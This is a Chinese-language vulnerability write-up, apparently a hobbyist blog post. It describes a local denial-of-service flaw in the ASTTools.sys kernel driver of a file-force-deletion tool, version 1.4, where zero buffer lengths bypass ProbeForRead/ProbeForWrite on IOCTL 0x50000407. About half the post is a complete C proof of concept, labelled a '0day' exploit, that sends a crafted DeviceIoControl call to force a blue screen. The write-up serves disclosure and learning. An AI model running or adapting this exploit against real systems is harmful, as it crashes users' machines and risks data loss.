产品版本:超级巡警暴力文件删除工具1.4
文件版本:ASTTools.sys CheckSum:00013546
问题:
IRP_MJ_DEVICE_CONTROL处理例程存在本地拒绝服务漏洞
使用METHOD_NEITHER方式传递数据,没有对缓冲区进行严格的检查,就进行使用
关键代码if(IoControlCode == 0x50000407)
{
v10 = UserBuf;
ProbeForRead((const void *)UserBuf, InputBufferLength, 1u);
ProbeForWrite((PVOID)UserBuf, OutputBufferLength, 1u);
RtlInitUnicodeString(&DestinationString, (PCWSTR)UserBuf); //触发异常
........
}
虽然程序有使用ProbeForRead和ProbeForWrite来检查缓冲区的正确性
但可惜的是;ProbeForRead和ProbeForWrite是可以绕过的,即给InputBufferLength和OutputBufferLength填0,就会不做检查了。
如果驱动开发者在留心一下,在自己的程序里对InputBufferLength和OutputBufferLength参数做检查,禁止0长度的buffer,也可以避免此问题,可惜依然没有!
最终造成了这个本地拒绝服务漏洞;
测试代码:int main(int argc, char* argv[])
{
printf("FileForceKiller 0day 利用程序\n");
printf("本程序会导致蓝屏,请保存好数据\n");
printf("按下回车键激活0day\n");
getchar();
HANDLE handle =CreateFileA("\\\\.\\ASTTools",0,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
printf("%d\n",handle);
ULONG temp;
printf("%d",DeviceIoControl(handle,0x50000407,0,0,(PVOID)0x80000000,0,&temp,0));
//OutputBuffer传0x80000000,这是一个无效内核地址,被读取即会立即蓝屏
//InputBufferLength跟OutputBufferLength传0,这样可以绕过ProbeForRead和ProbeForWrite的检查!
getchar();
return 0 ;
}
以上代码就可以触发蓝屏
参考地址:
http://hi.baidu.com/mj0011/blog/item/58b9367f2fcc870d29388a3d.html
感言:
在MJ的博客里面逛一圈可以学不少好东西哈;
此文章多处地方参考(抄袭)了MJ博客里面的文章,希望MJ大大不要见怪
另外要在这里特别感谢群里的大大,紫色秋枫,......在这方面对我的指导
小弟我初学0DAY,文章中如有错误之处,希望各位大大们及时指出,
另外各位大大们别喷我,我只是个菜鸟 |